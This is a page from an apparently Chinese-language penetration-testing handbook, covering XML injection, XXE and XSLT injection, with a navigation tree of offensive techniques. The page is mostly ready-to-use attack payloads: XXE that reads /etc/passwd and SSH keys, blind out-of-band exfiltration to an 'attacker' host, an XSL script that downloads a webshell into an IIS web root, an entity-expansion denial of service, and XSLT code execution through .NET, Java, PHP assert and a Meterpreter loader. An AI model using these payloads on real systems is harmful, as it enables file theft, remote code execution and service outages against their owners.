📜
PENETRATION NOTE
  • About
    • Readme
  • 收集信息
    • IP和端口信息
      • ASN
      • NMAP使用
      • 工具
      • 历史IP
    • 域名信息
      • CDN是否存在
      • 绕过CDN
      • DNS历史记录
      • SSL证书信息
      • Whois信息
    • 子域名检查
    • 网站架构和指纹识别
    • 人员信息
    • 其他信息
  • 初始访问
    • Web服务突破
      • 前端
      • SQL注入
        • 判断注入
        • 数据库类型识别
        • MSSQL
        • MYSQL
        • Oracle
        • PostgreSQL
        • SQLite
        • DB2
        • SQLMAP
      • XSS
      • CSRF
      • SSRF
      • XML
      • Xpath注入
      • SSTI
      • 命令执行
      • 命令注入
      • Fuzz目录
      • CmdHijack
      • 数据库
      • PHPstudy后门
      • PHP包含下载读取
      • PHP FPM之RCE
      • PHPMyAdmin利用
      • 绕过WAF
      • DNSLOG
      • IIS写权限
    • 未授权访问
      • hadoop
      • memcache
      • mongo
      • Redis
      • zookeeper
      • activemq
      • docker
      • elastic
      • jboss
      • VNC
      • Weblogic
      • Zabbix
      • CouchDB
      • Jenkins
      • Solr
    • 一些Bypass
      • Linux绕过disable_function
      • Open_basedir绕过
      • Windows系统组件com绕过
      • 常规函数绕过
      • 蚁剑绕过
      • cgi启动方式
      • ImageMagick组件绕过
    • 鱼叉式攻击
      • 钓鱼邮件
      • 钓鱼连接
      • 第三方鱼叉
    • 近源攻击
      • WI-FI破解
      • 无线干扰
      • 钓鱼网络
      • 克隆卡
      • 蓝牙
      • BadUSB
    • MySQL不登陆执行命令
    • MySQL开启外联
    • MySQL连接读取文件
    • MSSQL&Agent之Job上线
    • TomcatAjp之LFI&RCE
  • 防御规避
    • C#源码免杀
      • 直接编译
      • 加密处理
      • CSC+InstallUtil
      • XOR和AES编码
    • Powershell免杀
      • 直接生成
      • 行为检测
      • 分块免杀
      • 拆分+C编译
      • CobaltStrike+Powershell免杀
      • obfuscation
      • Out-EncryptedScript
      • PyFuscation
      • Xencrypt
      • Invoke-Shellcode
    • Python源码免杀
      • pyinstaller加载C代码编译
      • pyinstaller加载py代码编译
      • 加载器分离
      • Base64编码+Pyinstaller打包
    • MSF+shellcode免杀
      • nps_payload
      • 编码器
      • c和c++源码免杀
    • 加载器免杀
      • shellcode_launcher
      • SSI加载
    • GreatSCT
    • hanzoInjection
    • InstallUtil
    • MSBuilt
    • MSF捆绑
    • Mshta
    • Phantom-Evasion
    • RC4
    • Ruby
    • Shellter
    • the backdoor factory
    • Veil
    • zirikatu
    • 捆绑器
    • avet
    • carboncopy
    • c代码加载图片马
    • DLL劫持
    • Evasion模块
    • Golang
  • 权限提升
    • Windows提权
      • RDP&Firewall
        • RDP连接记录
        • 注册表开启
        • 注入点开启
        • MSF开启
        • wmic开启
        • 防火墙
        • 爆破RDP
        • 多用户登陆
        • 删除痕迹
      • impactet工具包
      • Windows exploit suggester
      • Searchsploit
      • watson
      • 激活guest
      • MSF
      • 本机文件和脚本
      • BypassUAC
      • AppLocker
      • PowerUp
      • Powerup AlwaysInstallElevated
      • AlwaysInstallElevated提权
      • MSSQL
      • MYSQL udf
      • PrintNightmare
      • HiveNightmare
      • Wesng
      • CVE-2020-1472
      • DNS组到DomainAdmin
      • SeImpersonatePrivilege
      • SpoolFool
      • Trusted Service Paths
      • Vulnerable Services
      • Whitelist白名单
      • 令牌窃取
      • 密码窃取
      • 弱注册表权限
      • RottenPotato
      • JuicyPotato
      • RoguePotato
      • EFSPotato
      • Runas
      • SamAccountSpoofing
      • SeBackupPrivilege
      • DLL劫持
      • WSL子系统
      • 不安全的GUI应用程序
      • 从administrator到system
      • 打印机漏洞
      • 服务中的不正确权限
      • 环境变量优先
      • 恢复服务帐户的权限
      • 弱权限的PATH目录
      • 特权文件写入
      • 未引用的服务路径
    • Linux提权
      • MYSQL Linux Root
      • 可写文件提权
      • Sudo提权
      • 查找辅助信息
      • 查找可能泄露的密码
      • 环境变量提权
      • 漏洞提权
      • 通配符提权
      • 一些检测工具
      • MYSQL漏洞
      • LD_Preload提权
      • Linux Exploit Suggester
      • LinuxSUID提权
      • Linux计划任务
      • Lxd提权
  • 文件操作
    • 传输
      • php
      • powershell
      • py
      • scp
      • vbs
      • wget
      • bitsadmin
      • certutil
      • curl
      • ftp
      • js
      • nc
      • perl
    • 创建
    • Windows查找文件
    • Linux查找文件
    • 查找可写目录
    • 解压
    • 压缩
  • 内网和域
    • 信息搜集
      • Windows安全标识符SID
      • 临时HTTP服务架设
      • Cmd
      • Wmi
      • Powershell基础操作
      • Powerview
      • Linux
      • ADDomain
      • BloodHoundAD
    • 端口映射和转发
      • iptables
      • lcx
      • msf
      • netsh
      • ssf
      • ssh
      • Ligolo
      • chisel
    • 命令与控制
      • Metasploit
        • 常规使用
        • 细节使用
        • meterpreter
        • 模块
        • 与cs和empire交互
      • CobaltStrike
        • 安装
        • 部署
        • 连接
        • 监听
        • 模块
        • 交互
        • 攻击模块
        • 视图模块
        • Beacon
        • 钓鱼邮件
        • 隔离网络
        • 权限维持
        • 代理
        • Malleable C2
        • 部署VPN
        • 横向移动
        • 加载脚本
        • 克隆
        • 浏览器劫持
        • 与msf和empire交互
        • 上线提醒
        • office宏
      • Empire
        • 安装
        • 生成
        • 监听
        • 模块
        • 连接靶机及其他操作
        • 权限提升
        • 横向移动
        • 后门
        • 与cs和msf交互
        • Empire_Word
      • 下载并执行
      • DNS TXT Command
      • Dropbox
      • Gmail
      • Jsrat
      • koadic
      • Openssl
      • Powershell
      • SILENTTRINITY
      • telegram
      • 反弹shell
      • 交互式shell
      • browser
      • crackmap
      • 工具
      • dnscat
  • HASH操作
    • mimikatz
      • mimikatz
      • mimipenguin
      • Powershell_Bypass
      • Procdump64+mimikatz
      • SqlDumper+mimikatz
      • 调用mimikatz远程抓取
      • 横向批量抓HASH
      • 绕过卡巴斯基
      • 远程LSASS进程转储 Physmem2profit
      • Cisco_Jabber转储lsass
      • dotnet2.0
      • dotnet4.0Msbuild
      • Dumpert
      • JScript
    • 域HASH提取
      • NTDSDumpex
      • Ntdsutil
      • Powersploit
      • Vssadmin
      • Wmivssadmin
      • impacket工具包
      • mimikatz
      • MSF
      • esentutl
      • Nishang脚本
    • 缓存HASH获取
      • Quarks pwdump
      • 注册表
      • Ninjacopy
    • 获取其他密码
      • foxmail
      • navicat
      • seatbelt
      • securecrt
      • vncpass
      • chrome
      • firefox
    • 破解工具
      • medusa
      • hydra
    • GoogleColab破解HASH
    • Invoke Dcsync
    • laZagne
    • MSF
    • QuarksPwDump
    • 开启Wdigest
    • 密码策略
    • 密码破解网站
    • Empire
    • Getpass
  • 横向移动
    • 探测存活主机
      • For+Ping命令查询存活主机
      • NbtScan
      • NetDiscover
      • NMAP
      • rp scan
      • 代理nmap扫描
      • 内外网资产对应
      • MSF
    • 探测服务&端口
      • 常见端口
      • MSF
      • Nc
      • Powershell
      • PTScan
      • SMB
      • CobaltStrike+K8Aggressor
      • Linux_Samba服务
      • Masscan
    • 执行命令&IPC&计划任务
      • AT
      • IPC
      • Schtasks
      • Wmic
    • 代理
      • goproxy
      • shadowsocks
      • sock4a
      • socks5
      • socks5web
      • ssf
      • ssh
      • 代理软件
      • chisel
      • earthworm
      • revsocks
      • Gost
      • gotohttp
      • rustdesk
      • frp
    • NTLM中继和中间人攻击
      • Ntlmrelayx+资源受限委派
      • Responder/LLMNR毒害
      • DNS Poisonning
      • MS08-068 NTLM反射
      • RemotePotato0
      • SMB签名禁用和IPv4
      • SMB签名禁用和IPv6
      • WebDav中继
      • 捕获和破解Net NTLMv1和NTLMv1哈希
      • CVE-2019-1040
      • CVE-2019-1384
    • ActiveDirectory的ACL和ACE
      • GenericAll
      • GenericWrite
      • WriteDACL
      • WriteOwner
      • 读取GMSA密码
      • 读取LAPS密码
      • 强制更改密码
    • ActiveDirectory证书服务
      • ESC1-配置错误的证书模板
      • ESC2-配置错误的证书模板
      • ESC3-配置错误的注册代理模板
      • ESC4-访问控制漏洞
      • ESC6-EDITF_ATTRIBUTESUBJECTALTNAME2
      • ESC7-易受攻击的证书颁发机构访问控制
      • ESC8-ADCS中继攻击
      • Pass-The-Certificate
      • 查找证书服务器
      • 经过认证的CVE-2022-26923
    • DCOM-Exploitation
      • DCOM
      • 通过MMC应用程序类进行DCOM
      • 通过Office进行DCOM
      • 通过ShellBrowserWindow进行DCOM
      • 通过ShellExecute进行DCOM
    • Kerberoasting
      • 申请票据
      • 破解密码
      • 导出票据
      • SPN发现
      • GetUserSPNs
      • 重写票据
    • MSF添加路由
    • Ngrok内网穿透
    • PASS-THE-HASH
    • PASS-THE-TICKET
    • PASS-THE-KEY
    • 组策略对象GPO
    • WinRM无文件执行
    • 方程式内网不产生session
    • 隔离主机payload
    • 攻击MSSQL数据库
    • 攻击MySQL数据库
    • 共享
    • 获取保存的RDP密码
    • 快速定位域管理登过的机器
    • 添加域管命令
    • ASEPRoasting
    • CVE-2019-0708
    • GPP-Password
    • MS08_067
    • MS17_010
    • MSF管道监听
    • 账户委派
    • 资源受限委派
    • 域内爆破
    • 危险的内置组使用
    • 域与域
    • kerberos青铜比特攻击CVE-2020-17049
    • kerberos无约束委派
    • kerberos约束委派
    • 基于kerberos资源的约束委派
    • PrivExchange攻击
    • PXE启动映像攻击
    • RODC-只读域控制器入侵
    • WSUS部署
    • SCCM部署
  • 权限维持
    • Windows
      • 关闭防病毒软件
      • 启动文件夹
      • DLL劫持计划任务
      • DLL注入
      • DSRM+注册表ACL后门
      • Empire
      • Guest激活
      • HookPasswordChangeNotify
      • Invoke ADSBackdoor
      • Invoke Tasks后门&权限维持
      • Kerberoasting后门
      • Metsvc
      • MOF
      • Shadow-Credentials
      • ADS&JavaScript
      • ADS隐藏webshell
      • Bitadmin
      • CLR Injection
      • COM OBJECT hijacking
      • DCShadow&SIDHistory
      • DCSync后门
      • DLL代理劫持右键
      • DLL劫持
      • Persistence
      • RID劫持
      • rootkit
      • RPC后门
      • S4U2Self后门
      • Skeleton Key万能钥匙
      • Squibledoo
      • Windows FAX DLL Injection
      • WinRM端口复用
      • WMIC事件订阅
      • WMI Persistence
      • 创建服务
      • 登录初始化
      • MSSQL后门
      • Netsh Helper DLL
      • NPPSpy记录密码
      • NSSM
      • Password Filter DLL
      • 添加签名
      • 通过控制面板加载项维持权限
      • 通过自定义.net垃圾回收机制进行DLL注入
      • 唯一IP访问
      • 影子用户
      • 映像劫持
      • 注入SSP被动收集密码
      • 基于域策略文件权限后门
      • 计划任务
      • 进程注入
      • 使用AMSI扫描接口维持权限
      • 受限委派后门
    • Linux
      • apt后门
      • bash rc
      • Kbeast_rootkit
      • Linux cron后门
      • OpenSSH后门
      • Reptile
      • SSHD后门
      • SSH wrapper后门
      • SSH公私钥登录
      • Strace记录ssh密码
      • SUID Shell
      • 进程注入
      • 文件处理
      • 用户启动文件
      • 启动项服务后门
      • 后门驱动程序
      • IPTables端口复用
    • web服务&中间件
      • Java
      • Nginx
      • Apache
      • IIS
  • 赏金技巧
    • TOP系列
      • Top25LFI参数
      • Top25RCE参数
      • Top25ssrf
      • Top25重定向dorks
    • 一行命令
      • 一条正则命令获取私钥或密码
      • 使用grep快速去除垃圾数据
    • 字典
      • 从站点生成字典
      • 来自github的字典
      • 已泄露的密码整理出的字典
      • loT高频率账户密码
      • 查找git和svn的字典
    • 403 bypass
    • CMS
    • favico信息
    • Github
    • git和svn
    • sql注入检测
    • 参数污染
    • 测试是否存在heartbleed漏洞
    • 命令注入Bypass
    • 配置错误的云存储桶
    • 通过.json的信息泄露
    • 未认证的ElasticsearchDB
    • 子域名接管
    • 2FA双因子认证绕过
    • 绕过登录限制
  • 云安全
    • GCP
      • 初始访问
      • 枚举
      • 权限维持
      • 特权升级和横向移动
    • AWS
      • AWS的服务
      • 工具
      • 初始访问
      • 枚举
      • 权限提升
      • 权限维持
      • 将EBS卷挂载到EC2Linux
      • 禁用CloudTrail
      • 使用AMI映像复制EC2
      • 通过API密钥获得AWS控制台访问权限
      • 通过混淆Cloudtrail日志和GuardDuty来掩盖踪迹
      • Golden SAML Attack
      • InstanceConnect 将SSH密钥推送到EC2实例
      • Lambda 提取函数的代码
      • Shadow Copy attack
      • SSM 命令执行
      • 动态数据库
    • Azure
      • 侦察工具
      • 枚举
      • 钓鱼
      • 非法同意
      • 向所有EnterpriseApplications添加凭据
      • 为AzureWeb应用程序生成SSH
      • Azure存储Blob
      • Pass-The-PRT
      • Pass-The-Certificate
      • Intunes管理
      • 动态组成员资格
      • Administrative Unit
      • 部署模板
      • 应用程序代理
      • 条件访问
      • 令牌
      • 自动化runbook
      • 虚拟机runCommand
      • KeyVault
      • AzureAD
      • AzureAD连接
    • Aliyun
      • osskey
    • Docker
      • 未授权API
      • 权限维持
      • 逃逸
    • kubernetes
      • 未授权API
      • 枚举
      • 权限提升
      • 定时任务
    • 工具
  • Redteam红队
    • Web类
      • web程序漏洞
      • 编辑器漏洞
      • 默认密码
      • wso2
      • 从LFI到RCE
      • 深x服
      • 天r信
      • 邮件地址payload
      • Web server日志分析命令
    • 免杀技巧
      • cshot远程shellcode
      • Pezor免杀
      • 内存中解码shellcode绕过av
      • 一些可尝试绕过白名单的执行
      • 在Windows Server 2016和2019中绕过WindowsDefender
      • 绕过安全狗脚本
      • 360白名单
      • Bypass AMSI
    • Bypass技巧
      • Bypass mod_security
      • 绕过lsa protection
    • 系统类
      • ImportDLLInjection 通过修改内存中的PE头来注入DLL的另一种方法
      • 动态调用进程注入逻辑
      • 父进程破坏
      • 进程挖空(MitreT1055.012)
      • 使用WindowsDefender下载文件
      • 通过挂起EventLog服务线程禁用Windows事件日志
      • 隐藏windows服务
      • 远程解压文件
由 GitBook 提供支持
在本页

这有帮助吗?

  1. 初始访问
  2. Web服务突破

XML

XML设计的宗旨是传输数据,而非显示数据
XXE=XML外部实体注入、XML=可扩展标记语言
Xml文件声明
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
DTD为XML的文档类型定义
引入外部DTD
<!DOCTYPE 根元素 SYSTEM "filename">
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "file:///etc/passwd">
	%file;
]>

XML注入

闭合标签,改写xml文件,用户可控,有拼接代码
<?xml version="1.0" encoding="utf-8"?>
<manager>
	<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
若是password可控,拼接代码形成注入
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

XXE

https://github.com/AonCyberLabs/xxe-recursive-download
程序解析XML输入时,未禁止外部实体的加载,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

判断

回显路径
	<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "test">%remote;]>
DNSLOG
	http://www.dnslog.cn/
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY dtd SYSTEM "http://xxx.dnslog.cn/xxe">]>
<xxe>&dtd;</xxe>
Webdav
	存在webdav可使用PROPPATCH、PROPFIND、 LOCK等请求方法接受xml输入形成xxe
Wsdl使用AWVS测试

挖掘

如遇与xml交互的地方
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY test "this is test"> 
]> 
<root>&test;</root>
看是否输出
检查是否支持外部实体
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY % foo SYSTEM "http://attacker/evil.xml"> 
%foo;
]> 
查看你的服务器是否有请求
JSON content-type XXE
修改Content-Type: application/xml
X-Requested-With: XMLHttpRequest
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<参数name>name</参数name>
<参数value>&xxe;</ 参数value>
</root>

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

有回显读取本地文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:////etc/passwd"> ]> 
<creds>&goodies;</creds>
也可去掉文件列目录
file:///root/.sh/id_rsa
特殊字符
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:////tmp/xxx.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> 
%dtd; ]> 
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

Blind OOB XXE无回显读取

需使用参数实体,引用外部DTD
Payload
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker:9999?p=%file;'>">

列目录

远程payload
<!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://ip:80/%a;'>"> %b; %c;
注入payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker:80/1.xml">%remote;]><root/>

不同平台支持的协议

执行命令

安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

内网主机探测

可先读取/etc/network/interfaces、/proc/net/arp、/etc/hosts等文件查询IP段
使用脚本

内网端口扫描

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>4</data>
可使用burpsuite的intruder模块进行遍历

内部DTD利用

Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ELEMENT aa (bb'>

%local_dtd;
]>
<message>any text</message>

XXE写shell

当XXE支持XSL时
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
    System.Net.WebClient webClient = new System.Net.WebClient();
    webClient.DownloadFile("https://x.x.x.x/shell.txt",
                   @"c:\inetpub\wwwroot\shell.aspx");

return "Exploit Success";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>

XXE 进行 SSRF

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>

XXE 进行拒绝服务攻击

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

基于报错的XXE

PAYLOAD:
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
ext.dtd 的内容
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<message></message>

工具

https://github.com/staaldraad/xxeserv
https://github.com/lc/230-OOB
https://github.com/enjoiz/XXEinjector
https://github.com/BuffaloWill/oxml_xxe
https://github.com/whitel1st/docem
http://www.beneaththewaves.net/Software/On_The_Outside_Reaching_In.html

XSLT注入

确定版本

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
	<xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>

外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    Fruits &ext_file;:
    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>

</xsl:stylesheet>

读取文件和SSRF

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://172.16.132.1:25')"/>
    <xsl:copy-of select="document('/etc/passwd')"/>
    <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    Fruits:
	    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

使用嵌入式脚本块远程执行代码

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>

  <xsl:template match="/fruits">
  --- BEGIN COMMAND OUTPUT ---
	<xsl:value-of select="user:execute()"/>
  --- END COMMAND OUTPUT ---	
  </xsl:template>
</xsl:stylesheet>

使用 PHP wrapper执行远程代码

执行函数readfile
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>
执行函数scandir
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
        <xsl:template match="/">
                <xsl:value-of name="assert" select="php:function('scandir', '.')"/>
        </xsl:template>
</xsl:stylesheet>
使用assert执行远程php文件
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
		<xsl:variable name="payload">
			include("http://10.10.10.10/test.php")
		</xsl:variable>
		<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
执行 PHP Meterpreter
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
        <xsl:template match="/">
                <xsl:variable name="eval">
                        eval(base64_decode('Base64-encoded Meterpreter code'))
                </xsl:variable>
                <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
        </xsl:template>
</xsl:stylesheet>
使用 Java 远程执行代码
  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
    </xsl:template>
  </xsl:stylesheet>
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
使用本机 .NET 远程执行代码
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>
上一页SSRF下一页Xpath注入

最后更新于2年前

这有帮助吗?

image